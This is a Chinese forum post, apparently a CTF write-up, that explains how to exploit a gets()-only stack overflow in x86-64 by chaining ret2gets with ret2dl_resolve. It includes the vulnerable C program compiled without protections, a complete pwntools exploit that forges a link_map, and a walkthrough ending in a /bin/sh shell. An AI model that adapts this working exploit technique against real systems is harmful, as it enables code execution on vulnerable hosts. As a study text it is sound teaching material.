-
-
[原创]仅有gets栈溢出漏洞的攻击方式
-
发表于: 6小时前 106
-
引言
在ret2dl_resolve的经典题中,经常会以read为输入参数,并且在x64架构中还会给出控制rdi等寄存器的gadget
当输入参数为gets时,结合ret2getes可以实现无需控制rdi寄存器的gadget即可控制rdi寄存器,最终实现getshell
这里以一道CTF题目为例子
源码
1 2 3 4 5 6 7 8 9 10 11 12 | #include<stdio.h>void stack_overflow(){ char buf[0x40]; gets(buf);}int main(){ stack_overflow(); return 0;} |
编译
1 | gcc -o pwn ./pwn.c -no-pie -fno-stack-protector |
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | from pwn import *filename = './pwn'context.arch='amd64'elf = ELF(filename)libc = elf.libcp = process(filename)def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset): linkmap = p64(offset & (2 ** 64 - 1)) linkmap += p64(0) linkmap += p64(fake_linkmap_addr + 0x18) linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) linkmap += p64(0x7) linkmap += p64(0) linkmap += p64(0) linkmap += p64(0) linkmap += p64(known_func_ptr - 0x8) linkmap += b'/bin/sh\x00' linkmap = linkmap.ljust(0x68,b'A') linkmap += p64(fake_linkmap_addr) linkmap += p64(fake_linkmap_addr + 0x38) linkmap = linkmap.ljust(0xf8,b'A') linkmap += p64(fake_linkmap_addr + 0x8) return linkmapgets_got = elf.got['gets']l_addr = libc.sym['system'] -libc.sym['gets']plt_load = 0x401026gets = elf.plt['gets']bss = 0x404030 + 0x700payload = b'a'*0x40 + p64(bss + 0x40) + p64(0x401142)p.sendline(payload)bss_stage = bss + 0x100fake_link_map = fake_Linkmap_payload(bss_stage, gets_got ,l_addr)payload = b'a'*0x48 + p64(gets) + p64(plt_load) + p64(bss_stage)payload = payload.ljust(0x100,b'\x00')payload += fake_link_mapp.sendline(payload)p.sendline(b'/bin'+p8(u8(b"/")+1)+b'sh\x00')p.interactive() |
解题思路
从源码上看,这道题仅有一个gets函数的栈溢出漏洞,没有输入函数,也没有能够控制寄存器的gadget
1 2 3 4 5 6 7 8 9 10 11 12 | #include<stdio.h>void stack_overflow(){ char buf[0x40]; gets(buf);}int main(){ stack_overflow(); return 0;} |
并且没有能够输入伪造linkmap的地方,但熟悉x64架构的应该会联想到在read、gets等输入函数是通过[rbp+var_40]类似汇编来实现输入位置参数的传输的
在这道题中就是
1 2 3 4 5 6 7 8 9 10 11 | endbr64push rbpmov rbp, rspsub rsp, 40hlea rax, [rbp+var_40]mov rdi, raxmov eax, 0call _getsnopleaveretn |
也就是说,凭借一个栈溢出漏洞即可控制rbp使其指向bss段,接着输入输入伪造linkmap
当然,这里也会导致一个问题,那就是两次的leave ret会造成栈迁移到bss段上
所以当我们输入第二次payload进行ret2dl_resolve时要注意布局
这是第一次payload,控制了rbp为bss+0x40,并且将返回地址填充为[rbp+var_40]那部分汇编,使得能够输入伪造结构体到bss段
1 2 | payload = b'a'*0x40 + p64(bss + 0x40) + p64(0x401142)p.sendline(payload) |
这里的fake_link_map可以跟第二次payload一起输入,这里的fake_link_map直接用网上找到的模板即可
1 2 3 4 5 6 7 8 | bss_stage = bss + 0x100fake_link_map = fake_Linkmap_payload(bss_stage, gets_got ,l_addr)payload = b'a'*0x48 + p64(gets) + p64(plt_load) + p64(bss_stage)payload = payload.ljust(0x100,b'\x00')payload += fake_link_mapp.sendline(payload)p.sendline(b'/bin'+p8(u8(b"/")+1)+b'sh\x00')p.interactive() |
最终依靠ret2gets控制rdi寄存器为指向/bin/sh的地址即可通过ret2dl_resolve实现在仅有gets栈溢出漏洞的情况下getshell
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!
最后于 5小时前
被clxhzg编辑
,原因:
赞赏
赞赏
雪币:
留言: